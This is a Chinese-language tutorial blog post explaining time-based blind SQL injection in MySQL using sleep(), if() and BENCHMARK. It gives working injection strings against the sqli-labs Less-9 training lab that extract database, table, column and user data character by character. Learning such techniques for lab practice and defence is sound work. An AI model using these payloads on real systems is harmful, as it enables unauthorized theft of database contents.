sql注入知识---时间盲注

时间盲注原理:

原理:在SQL注入过程中,无论注入是否成功,页面完全没有变化。此时只能通过使用数据库的延时函数来判断注入点一般采用响应时间上的差异来判断是否存在SQL注入,即基于时间型的SQL盲注

  • select id,name from product where id=1 and sleep(2)

注意:

  1. MySQL数据库对大小写不铭感要对与盲注最好用ASII进行检测
  2. 如何查看时间:BP或其他工具抓包看返回时间

基于时间盲注sleep函数

函数用法:

  • 在mysql下,sleep的语法如下:sleep(seconds)即sleep函数代码执行延迟若干秒
  • sleep()函数执行是有条件的,必须保障sql语句执行结果存在数据记录才会停止指定的秒数,如果sql语句查询结果为空,那么sleep函数不会停止

例子:观察以下语句

第一个语句:sleep函数设置查询停留3s, sleep函数本身返回值为0,显示查询时间为3s

第二个语句:语句最后加上and 1=2 形成查询逻辑错误,sleep函数不执行暂停,因此查询时间为0s
在这里插入图片描述

基于时间盲注if函数

函数用法:

  • 逻辑判断函数if()
  • if(expr1,expr2,expr3) 如果expr1为真,则if函数执行expr2语句,否则if函数执行expr3语句

例子:

select user from users where uer_id=1 and1=if(ascii(substr(database(),1,1))>1,sleep(5),1);

此处 如果条件ascii(substr(database(),1,1))>1成立则执行sleep(5),否则执行1

基本步骤:基于时间的盲注案例(sqli-lab less-9)

枚举当前数据库名

id =1' and sleep(3) and ascii(substr(database(),m,1))>n --+

枚举当前数据库的表名

id =1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit a,1),m,1))>n and sleep(3) --+

或者利用if函数
id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit a,1),m,1)) >n,sleep(5),1) --+

枚举当前数据库表的字段名

 id =1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit a,1),m,1))>n and sleep(3) --+

枚举每个字段对应的数据项内容

 id =1' and ascii(substr((select username from security.users limit a,1),m,1))>n and sleep(3) --+

请添加图片描述

扩展:

还可以用其他的函数进行连用例如:
截取函数
substring() substr()

配合select case when 条件触发
SQL CASE 表达试是一种通用的条件表达试,类似其他语言的 if/else语句
CASE WHEN condition THEN result
[WHEN …]
[ELSE result]
END

除了Sleep之外的延迟
BENCHMARK(count,expr)

感谢大家观看,我会与大家共同进步的(qq:622816049)有问题可以提问。群主会帮助大家的。嘻嘻

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

kui954

感谢各位的支持o(* ̄3 ̄)o

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值